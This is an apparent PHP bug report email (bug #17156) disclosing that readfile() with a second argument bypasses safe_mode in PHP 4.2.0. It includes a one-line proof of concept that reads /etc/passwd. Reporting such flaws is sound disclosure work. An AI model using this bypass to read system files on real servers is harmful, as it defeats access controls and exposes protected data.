From:             [EMAIL PROTECTED]
Operating system: Linux 2.4.18
PHP version:      4.2.0
PHP Bug Type:     Scripting Engine problem
Bug description:  readfile can bypass safe_mode

If a readfile() function is passed 2nd parameter it can be used to read ANY
file on the system regardless of safe_mode.

ex.

<?php
readfile('/etc/passwd', 1);
?>
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Edit bug report at http://bugs.php.net/?id=17156&edit=1
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Fixed in CVS:        http://bugs.php.net/fix.php?id=17156&r=fixedcvs
Fixed in release:    http://bugs.php.net/fix.php?id=17156&r=alreadyfixed
Need backtrace:      http://bugs.php.net/fix.php?id=17156&r=needtrace
Try newer version:   http://bugs.php.net/fix.php?id=17156&r=oldversion
Not developer issue: http://bugs.php.net/fix.php?id=17156&r=support
Expected behavior:   http://bugs.php.net/fix.php?id=17156&r=notwrong
Not enough info:     http://bugs.php.net/fix.php?id=17156&r=notenoughinfo
Submitted twice:     http://bugs.php.net/fix.php?id=17156&r=submittedtwice
register_globals:    http://bugs.php.net/fix.php?id=17156&r=globals

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